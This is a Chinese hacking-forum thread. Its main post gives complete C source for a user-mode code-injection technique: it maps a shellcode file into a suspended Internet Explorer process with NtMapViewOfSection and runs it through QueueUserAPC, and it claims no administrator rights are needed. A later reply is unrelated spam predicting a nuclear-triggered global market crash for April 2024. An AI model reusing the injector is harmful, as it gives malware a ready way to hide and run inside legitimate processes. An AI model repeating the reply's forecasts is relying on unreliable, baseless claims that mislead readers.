看流星社区

 找回密码
 注册账号
查看: 2308|回复: 1

Ring3 NtMapViewOfSection注入DLL源码

[复制链接]

该用户从未签到

发表于 2018-2-27 22:25:47 | 显示全部楼层 |阅读模式
新的注入方式:利用一个未公开函数NtMapViewOfSection在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求
  1. #define _WIN32_WINNT 0x0400
  2. #include <windows.h>

  3. typedef LONG NTSTATUS, *PNTSTATUS;
  4. #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

  5. typedef enum _SECTION_INHERIT
  6. {
  7. ViewShare = 1,
  8. ViewUnmap = 2
  9. } SECTION_INHERIT;

  10. typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );

  11. func_NtMapViewOfSection NtMapViewOfSection = NULL;


  12. LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
  13. DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )  
  14. {
  15. NTSTATUS Status;
  16. LARGE_INTEGER SectionOffset;
  17. ULONG ViewSize;
  18. ULONG Protect;
  19. LPVOID ViewBase;


  20. // 转换偏移量
  21. SectionOffset.LowPart = dwFileOffsetLow;
  22. SectionOffset.HighPart = dwFileOffsetHigh;

  23. // 保存大小和起始地址
  24. ViewBase = lpBaseAddress;
  25. ViewSize = dwNumberOfBytesToMap;

  26. // 转换标志为NT保护属性
  27. if (dwDesiredAccess & FILE_MAP_WRITE)
  28. {
  29. Protect = PAGE_READWRITE;
  30. }
  31. else if (dwDesiredAccess & FILE_MAP_READ)
  32. {
  33. Protect = PAGE_READONLY;
  34. }
  35. else if (dwDesiredAccess & FILE_MAP_COPY)
  36. {
  37. Protect = PAGE_WRITECOPY;
  38. }
  39. else
  40. {
  41. Protect = PAGE_NOACCESS;
  42. }

  43. //映射区段
  44. Status = NtMapViewOfSection(hFileMappingObject,
  45. hProcess,
  46. &ViewBase,
  47. 0,
  48. 0,
  49.             &SectionOffset,
  50. &ViewSize,
  51.             ViewShare,
  52.             0,
  53. Protect);
  54. if (!NT_SUCCESS(Status))
  55. {
  56. // 失败
  57. return NULL;
  58. }

  59. //返回起始地址
  60.    return ViewBase;
  61. }

  62. int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
  63. {
  64. HMODULE hDll = LoadLibrary( "ntdll.dll" );

  65. NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");

  66. // 取ShellCode,任何你想实现的
  67. HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

  68. HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

  69. // 启动目标进程
  70. STARTUPINFO st;
  71. ZeroMemory (&st, sizeof(st));
  72. st.cb = sizeof (STARTUPINFO);

  73. PROCESS_INFORMATION pi;
  74. ZeroMemory (&pi, sizeof(pi));

  75. CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);


  76. // 注入shellcode到目标进程地址空间
  77. LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

  78. // 创建一个新的能够在目标线程恢复是首先执行的APC
  79. QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
  80. ResumeThread (pi.hThread);
  81. CloseHandle (hFile);
  82. CloseHandle (hMappedFile);
  83. CloseHandle (pi.hThread);
  84. CloseHandle (pi.hProcess);
  85. return 0;
  86. }
复制代码

该用户从未签到

发表于 2024-4-7 16:51:04 | 显示全部楼层












































{2024年04月06日}地球崩盘的事件借口是什么?



作者:劳山倒
时间:2024年04月06日 18:43:23    星期六   农历二月廿八
上证综指 3069.30点    恒指 16723.92点    道指 3⑧904.04点



01
即将的,人类最大股市、金融市场大崩盘,18级金融大地震闪击战,
地球崩盘,需要一个事件借口,这个借口,可能是引爆核弹:

一 ,俄乌战争,普京的报复反击,很可能使用核弹;
二,巴以战争,伊朗的报复反击,很可能使用核弹;
三,即便,没有使用核弹,也是,核弹级别的剧烈冲突,足以,让全
人类,吓得尿裤子。
四,战争爆发的时间,很可能是04月08日,2024年的四月八日。
我判断,2024年04月,就是谜底、骗局揭开的时间。

《纽约地区罕见发生4.8级地震!当时联合国安理会正在开会》
cctv国际时讯   2024年04月05日 23:35:48
…… …… 地震发生时,纽约联合国总部正在就巴以问题举行安理会
会议,镜头记录下了地震发生时的情形。
据悉,美国东北部地区的地震比较少见。(央视记者 徐德智 赵淼)
[责任编辑:杨东明 PN301]

《带头闹事的全部绝育!泰国上千只猴子打群架,冲突为何这么严重?》
优美生态环境保卫者   2024-04-05 10:12    吉林
近期,泰国华富里府出现了近千只猴子打群架的罕见现象,引起了广泛关
注。这起事件,不但是猴群打架的数量非常庞大,泰国方面对后续处理的
方式也可谓异常坚决,让我们先来看看这起事件的情况。……


02
人类最大假摔黄金坑,暗黑帝国总冲顶之前的总洗盘;虚惊一场。
哪有什么突发意外谁都没想到??
一切,都是蓄谋已久的精心策划。精心策划的,陷阱。
狼,总要吃羊,无论有没有那条小溪。
一枚小型原子弹的成本大约500万人民币左右,暗黑帝国要剪羊毛了,
1929年以来,92年大牛市的,总剪羊毛。

乌鸫,又叫百舌鸟,是瑞典的国鸟,它的叫声被当做对灾难的预警。
在古希腊传说中,乌鸫象征着珀尔塞福涅{冥后}。


03
附录四篇本人文章,你可以在网上搜一搜:

{2024年3月28日}关注,2024年04月08日。

{2024年3月18日 06:53:38}
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-4-23 19:17

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表